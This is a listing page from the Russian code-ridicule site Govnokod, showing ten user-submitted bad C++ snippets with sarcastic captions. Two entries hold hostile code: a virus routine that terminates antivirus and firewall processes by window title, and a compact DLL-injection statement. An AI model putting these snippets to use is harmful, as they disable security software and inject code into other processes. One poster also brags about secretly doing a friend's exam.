1. C++ / Говнокод #16356

    +41

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    catch(...)
    {	
    	static int j = 0;
    
    	//if we enter this catch clause more than 1 time
    	//it is very likely that the RestartSystem() command
    	//did not succeed. If this is the case we just exit.
    	if(j>0)
    		exit(0);
    	else
    		SWFMonitorT::GetInstance()->RestartSystem();
    	j++;
    	throw;
    }

    Приключения в мире байтоёбиков...

    blackhearted, 16 Июля 2014

    Комментарии (3)
  2. C++ / Говнокод #16352

    +51

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    int table[4];
    bool exists_in_table(int v)
    {
        for (int i = 0; i <= 4; i++) {
            if (table[i] == v) return true;
        }
        return false;
    }

    C хабра. Возвращает true для любых чисел. http://ideone.com/bL2vGQ
    Я конечно знаю что такое UB, но этот пример повеселил.

    kipar, 16 Июля 2014

    Комментарии (170)
  3. C++ / Говнокод #16348

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    #include "stdafx.h"
    #include <stdio.h>
    #include <iostream>
    #include <conio.h>
    using namespace std;
    int main(){
    	setlocale(0,"");
    	int mss[4][3] = {4,2,4,3,1,9,1,6,9,1,1,9};
    	
    	printf("Значение ячеек массива:\n");
    	cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
    	cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
    	cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
    	cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
    
    	int *p1=&mss[1][0], *p2=p1;
    	printf("Значения созданных указателей *p1 и *p2:\n");
    	cout<<*p1<<" "<<*p2<<"\n\n";
    
    	mss[3][*p1-1]=(mss[2][0]-3)*(*p1);
    	
    	printf("Значение mss[3][2] после присваивания ему значения (mss[2][0]-3)*(*p1):\n");
    	cout<<mss[3][2]<<"\n\n";
    
    	mss[0][2]++;
    	printf("Значение mss[0][2] после его инкремента:\n");
    	cout<<mss[0][2]<<"\n\n";
    
    	*p1=(!mss[3][0]<*p2)?5*mss[3][0]/4:mss[0][2]-mss[1][2];
    	printf("Значение *p1 после присваивания 5*1/4=5/4=1,25=1 по условию:\n");
    	cout<<*p1<<"\n\n";
    
    	*p1=*p2/(mss[0][0]+1);
    	printf("Значение *p1 после присваивания *p2/(mss[0][0]+1):\n");
    	cout<<*p1<<"\n\n";
    
    	*p1=mss[0][0];
    	printf("Значение *p1 после присваивания mss[0][0]:\n");
    	cout<<*p1<<"\n\n";
    	
    	p2=&mss[2][2];
    	printf("Значение p2 после присваивания &mss[2][2]:\n");
    	cout<<p2<<"\n\n";
    
    	*p2=*p2%4+mss[2][2];
    	printf("Значение *p2 после присваивания *p2%4+mss[2][2]:\n");
    	cout<<*p2<<"\n\n";
    
    	printf("Результирующие значения ячеек массива после всех вычислений:\n");
    	cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
    	cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
    	cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
    	cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
    
    	printf("[...Нажмите на любую клавишу для завершения работы программы...]");
    	_getch();
    }

    Я ХЗ, что это за долбонутая хренотень, но такое задание дали знакомому на экзамене, вместо которого пришлось это решать, да ещё так, что бы экзаменаторша поверила, что это сделал он ( я же ему писал и скидывал на ВК ). А он же в этом нуб похлеще меня ( я мало на плюсах писал ). Короче, это самое неэффективное и упоротое решение среди всех. Я нафига-то подключил тут conio.h, хотя его использовал 1 раз вместо system("pause"), которое было бы кстати. А ещё тут раньше было дофига комментариев, дабы чувак хоть что-то понял. Но этот код вышел в итоге настолько долбонутым, что эти комментарии даже его сделали нечитаемым вовсе. :DDDDDDD Один знакомый чувак, что на кодера учится, охренел от вида этого безобразия. Ещё одна упртсть - то, что я чередовал printf и cout. Ну и подключил в итоге лишнюю библиотеку, хотя можно было использовать что-то одно и не подключать всякую хрень. Короче, этот код ужасен. Но я писал и похлеще. :D Особенно когда пришлось однажды другому уже чуваку на ВК скидывать решения, которые я писал в блокнот с планшета с опечатками. Это было ужасно...

    CodeStar, 15 Июля 2014

    Комментарии (4)
  4. C++ / Говнокод #16341

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
    
    BOOL BadWindow(LPSTR strWindow)
    {
    BOOL res = FALSE;
    for (int i=0;i<kx;i++)
    if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
    return res;
    }
    BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
    {
    LPTSTR str1 = new char[255];
    GetWindowText(hwnd1,str1,255);
    if (BadWindow(str1))
    {
    DWORD dwProcessId;
    GetWindowThreadProcessId(hwnd1,&dwProcessId);
    if (dwProcessId!=GetCurrentProcessId())
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    TerminateProcess(hProcess,0);
    CloseHandle(hProcess);
    }
    }
    delete str1;
    return TRUE;
    }
    void EnumProcessesOther()
    {
    LPARAM c = 0;
    EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
    }

    > {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
    > TerminateProcess(hProcess,0);
    Наивный макак.

    http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/

    gost, 15 Июля 2014

    Комментарии (23)
  5. C++ / Говнокод #16339

    +28

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    #include <iostream>
    using namespace std;
    
    int main()
    {
        int a; // Объявление статической переменной
        int b = 5; // Инициализация статической переменной b
    
        a = 10;
        b = a + b;
        cout << "b is " << b << endl;
        return 0;
    }

    Комментарии доставляют.
    http://code-live.ru/post/cpp-pointers/

    gost, 15 Июля 2014

    Комментарии (0)
  6. C++ / Говнокод #16322

    +28

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    TLSOSI7Command &TLSLongTelegram::GetOSI7Command () const
    {
       if(!m_pOSI7Command) { // private pointer not initialized
                  // WARNING! Quick'n'dirty! is UNINITIALIZED althoug it should be - just for preventing abnormal end!
                  const_cast<TLSOSI7Command*>(m_pOSI7Command)=new TLSOSI7Command;
       } // private pointer not initialized
       else 
       { 
                 // NOT private pointer not initialized
       }; 
       // NOT private pointer not initialized
       return *m_pOSI7Command;
    }

    m)

    blackhearted, 14 Июля 2014

    Комментарии (21)
  7. C++ / Говнокод #16318

    +27

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    @@ -50,9 +50,6 @@ void AreaTrigger::RemoveFromWorld()
          ///- Remove the AreaTrigger from the accessor and from all lists of objects in world
          if (IsInWorld())
          {
     -        if (!IsInWorld())
     -            return;
     -
              WorldObject::RemoveFromWorld();
              sObjectAccessor->RemoveObject(this);
          }

    "Core/AreaTrigger: Remove useful check"
    https://github.com/TrinityCore/TrinityCore/commit/d920463fe5fe6eee7c4a8e2d777720fcfbe6f08f

    Actine, 13 Июля 2014

    Комментарии (6)
  8. C++ / Говнокод #16314

    +20

    1. 1
    2. 2
    3. 3
    4. 4
    const char dll[] = "C:\\sperhacks\\superhack.dll";
    LPVOID mem = NULL;
    DWORD PID = 666;
    if (WriteProcessMemory(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), (mem = VirtualAllocEx(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, sizeof(dll), MEM_COMMIT, PAGE_EXECUTE_READWRITE)), dll, sizeof(dll), NULL) && CreateRemoteThread(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"), mem, NULL, NULL));

    Говнопособие для самых маленьких: dll-injection в 4 строки. Можно и без кучи OpenProcess, тогда в 5 строк.

    gost, 12 Июля 2014

    Комментарии (11)
  9. C++ / Говнокод #16289

    +25

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    case 'z':
    {
    	int diff;
    	char const *sign;
    
    	if (t->tm_isdst < 0)
    	  continue;
    	continue;
    	if (diff < 0)
    	  {
    		sign = "-";
    		diff = -diff;
    	  }
    	else
    	  sign = "+";
    	pt = _add (sign, pt, ptlim);
    	diff /= 60;
    	pt = _conv ((diff / 60) * 100 + diff % 60, "%04d", pt, ptlim);
    }
    continue;

    https://github.com/Helco/PebbleLocalSim/blob/master/additionalSource/strftime.c

    байтоёбы-байтоёбики...
    для упоротых - строки 7 и 8.

    blackhearted, 08 Июля 2014

    Комментарии (8)
  10. C++ / Говнокод #16287

    +28

    1. 1
    2. 2
    // Пароль админа
    const unsigned int AdminPassword = 42;

    Откопал в своем старом коде. Кто тут говорил, что Борманд не говнокодит?

    bormand, 08 Июля 2014

    Комментарии (31)